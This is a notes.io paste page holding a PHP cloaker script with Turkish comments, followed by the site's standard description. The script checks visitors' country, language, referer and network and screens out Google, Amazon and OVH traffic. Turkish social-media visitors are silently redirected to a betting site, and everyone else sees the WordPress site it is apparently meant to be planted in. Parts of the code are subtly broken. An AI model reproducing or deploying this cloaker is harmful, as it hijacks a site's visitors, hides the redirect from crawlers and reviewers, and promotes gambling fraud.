NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$userLanguage = strtoupper(substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2));

if($_SERVER['HTTP_REFERER'] == ''){
$userReferer = strtolower($userAgent);
}
else{
$userReferer = $_SERVER['HTTP_REFERER'];
}

$device = isMobile($_SERVER['HTTP_USER_AGENT']);
$browser = getBrowser();
$os = getOS();
$country = getCountry(getIP());
$language = strtoupper(substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2));
$referer = strtolower($userReferer);
$ip = getIP();

if(getAsnHostName($ip) == true){
$asnCheck = 1;
}
else{
$asnCheck = 0;
}

$izinVerilenCihaz = 'All'; // All, Mobile, Desktop - All yazarsaniz tüm cihazlara izin verir, Mobile mobil , Desktop masaüstü cihazlara izin verir
$izinVerilenDil = ['TR']; // Diller istege bagli eklenebilir ['TR', 'EN', 'NL', 'FR', 'RU']; gibi
$izinVerilenUlke = ['TR']; // Izin verilen ülkeler yine dildeki gibi çogaltilabilir
$izinVerilenReferans = ['facebook', 'fb.me', 'twitter', 't.co', 'pinterest', 'google', 'youtube', 'youtu.be', 'instagram']; // izin verilen referanslar
$linkTuru = 'Web'; // Web, Youtube, Instagram, WhatsApp bu alan Web seçilirse standart cloaker,
// Eger tiklaninca direk uygulamada açilmasi lazim ise örnek bir youtube video linki ise bu alani Youtube yazilmali
$reklamAdresi = 'https://www.marsbahis950.com'; // Tiklaninca yönlenecek ana URL

// CIHAZ KONTROLÜ
if($izinVerilenCihaz == 'All'){
$deviceCheck = 1;
}
elseif($izinVerilenCihaz == $device){
$deviceCheck = 1;
}
else{
$deviceCheck = 0;
}

// DIL KONTROLÜ
if(in_array($language, $izinVerilenDil)){
$languageCheck = 1;
}
else{
$languageCheck = 0;
}

// ÜLKE KONTROLÜ
if(in_array($country, $izinVerilenUlke)){
$countryCheck = 1;
}
else{
$countryCheck = 0;
}

if(checkIfInArrayString($izinVerilenReferans, $referer)){
$refererCheck = 1;
}
else{
$refererCheck = 0;
}

if($os != 'iPhone'){
if($countryCheck == 1 && $languageCheck == 1 && $deviceCheck == 1 && $refererCheck == 1 && $asnCheck == 1){
if($device == 'Mobile'){
if($linkTuru == 'Youtube'){
preg_match("#(?<=v=|v/|vi=|vi/|youtu.be/)[a-zA-Z0-9_-]{11}#", $reklamAdresi, $newValidLink);
$redirect = 'vnd.youtube://' . $newValidLink[1];
}
elseif($linkTuru == 'Instagram'){
$ia = explode('/', $reklamAdresi);
$ft = $ia[3];
if($ft == 'p'){
$redirect = 'instagram://media?id=' . $ia[4];
}
else{
$redirect = 'instagram://user?username=' . $ia[4];
}
}
elseif($linkTuru == 'WhatsApp'){
$wa = explode('=', $reklamAdresi);
$wb = $wa[1];
$redirect = 'whatsapp://send?phone=' . $wb;
}
else{
$redirect = $reklamAdresi;
}
}
else{
$redirect = $reklamAdresi;
}
}
else{
$redirect = 0;
}
}
else{
if($countryCheck == 1 && $languageCheck == 1 && $deviceCheck == 1 && $asnCheck == 1){
if($device == 'Mobile'){
if($linkTuru == 'Youtube'){
preg_match("#(?<=v=|v/|vi=|vi/|youtu.be/)[a-zA-Z0-9_-]{11}#", $reklamAdresi, $newValidLink);
$redirect = 'vnd.youtube://' . $newValidLink[1];
}
elseif($linkTuru == 'Instagram'){
$ia = explode('/', $reklamAdresi);
$ft = $ia[3];
if($ft == 'p'){
$redirect = 'instagram://media?id=' . $ia[4];
}
else{
$redirect = 'instagram://user?username=' . $ia[4];
}
}
elseif($linkTuru == 'WhatsApp'){
$wa = explode('=', $reklamAdresi);
$wb = $wa[1];
$data['redirect'] = 'whatsapp://send?phone=' . $wb;
}
else{
$redirect = $reklamAdresi;
}
}
else{
$redirect = $reklamAdresi;
}
}
else{
$redirect = 0;
}
}

function splitter($x, $y, $t){
$u = explode($x, $t);
$v = explode($y, $u[1]);
return $v[0];
}

function getIP()
{
if(getenv("HTTP_CLIENT_IP")){
$ip = getenv("HTTP_CLIENT_IP");
}
elseif(getenv("HTTP_X_FORWARDED_FOR")){
$ip = getenv("HTTP_X_FORWARDED_FOR");
if(strstr($ip, ',')){
$tmp = explode (',', $ip);
$ip = trim($tmp[0]);
}
}
else{
$ip = getenv("REMOTE_ADDR");
}
if($ip == '::1'){
return '127.0.0.1';
}
else{
return $ip;
}
}

function getBrowser(){
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$browser = "Bilinmeyen Tarayici";

$browserArray = [
'/msie/i' => 'Internet Explorer',
'/firefox/i' => 'Firefox',
'/safari/i' => 'Safari',
'/chrome/i' => 'Chrome',
'/edge/i' => 'Edge',
'/opera/i' => 'Opera',
'/netscape/i' => 'Netscape',
'/maxthon/i' => 'Maxthon',
'/konqueror/i' => 'Konqueror',
'/mobile/i' => 'Handheld Browser',
'/iPhone/i' => 'iPhone'
];
foreach($browserArray as $regex => $value){
if(preg_match($regex, $userAgent)){
$browser = $value;
}
}

return $browser;
}

function getOS() {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$osPlatform = "Bilinmeyen Isletim Sistemi";

$osArray = [
'/windows nt 10/i' => 'Windows 10',
'/windows nt 6.3/i' => 'Windows 8.1',
'/windows nt 6.2/i' => 'Windows 8',
'/windows nt 6.1/i' => 'Windows 7',
'/windows nt 6.0/i' => 'Windows Vista',
'/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
'/windows nt 5.1/i' => 'Windows XP',
'/windows xp/i' => 'Windows XP',
'/windows nt 5.0/i' => 'Windows 2000',
'/windows me/i' => 'Windows ME',
'/win98/i' => 'Windows 98',
'/win95/i' => 'Windows 95',
'/win16/i' => 'Windows 3.11',
'/macintosh|mac os x/i' => 'Mac OS X',
'/mac_powerpc/i' => 'Mac OS 9',
'/linux/i' => 'Linux',
'/ubuntu/i' => 'Ubuntu',
'/iphone/i' => 'iPhone',
'/ipod/i' => 'iPod',
'/ipad/i' => 'iPad',
'/android/i' => 'Android',
'/blackberry/i' => 'BlackBerry',
'/webos/i' => 'Mobile'
];

foreach ($osArray as $regex => $value){
if(preg_match($regex, $userAgent)){
$osPlatform = $value;
}
}

return $osPlatform;
}

function isMobile($userAgent){
$mobile = preg_match("/(android|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up.browser|up.link|webos|wos)/i", $userAgent);
if($mobile){
return 'Mobile';
}
else{
return 'Desktop';
}
}

function getCountry($ip)
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => "http://ip-api.com/json/$ip?fields=countryCode,isp,org",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "GET",
CURLOPT_HTTPHEADER => [
"accept: application/json",
"content-type: application/json"
],
]);

$response = curl_exec($ch);

curl_close($ch);

$title = splitter('countryCode":"', '"', $response);
if($title == ''){
$getic = json_decode(file_get_contents('http://ip-api.com/json/$ip?fields=countryCode,isp,org'));
$title = $getic->ip->countryCode;
}

return $title;
}

function getAsnHostname($ip)
{
$getic = json_decode(file_get_contents('http://ip-api.com/json/$ip?fields=countryCode,isp,org'));
$asn = strtolower($getic->ip->isp);
$hst = strtolower($getic->ip->org);

if(strstr($hst, 'google') || strstr($asn, 'google') || strstr($hst, 'ovh') || strstr($asn, 'ovh') || strstr($hst, 'amazon') || strstr($asn, 'amazon')){
return false;
}
else{
return true;
}
}

function checkIfInArrayString($array, $searchingFor)
{
foreach($array as $element){
if(strstr($searchingFor, $element) !== false){
return true;
}
}
return false;
}

if($redirect){
if(!headers_sent()){
header('HTTP/1.1 301 Moved Permanently');
header('LOCATION:' . $redirect);
}
else{
header('HTTP/1.1 301 Moved Permanently');
header('LOCATION:' . $redirect);
}
die();
}
define( 'WP_USE_THEMES', true );

require __DIR__ . '/wp-blog-header.php';
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.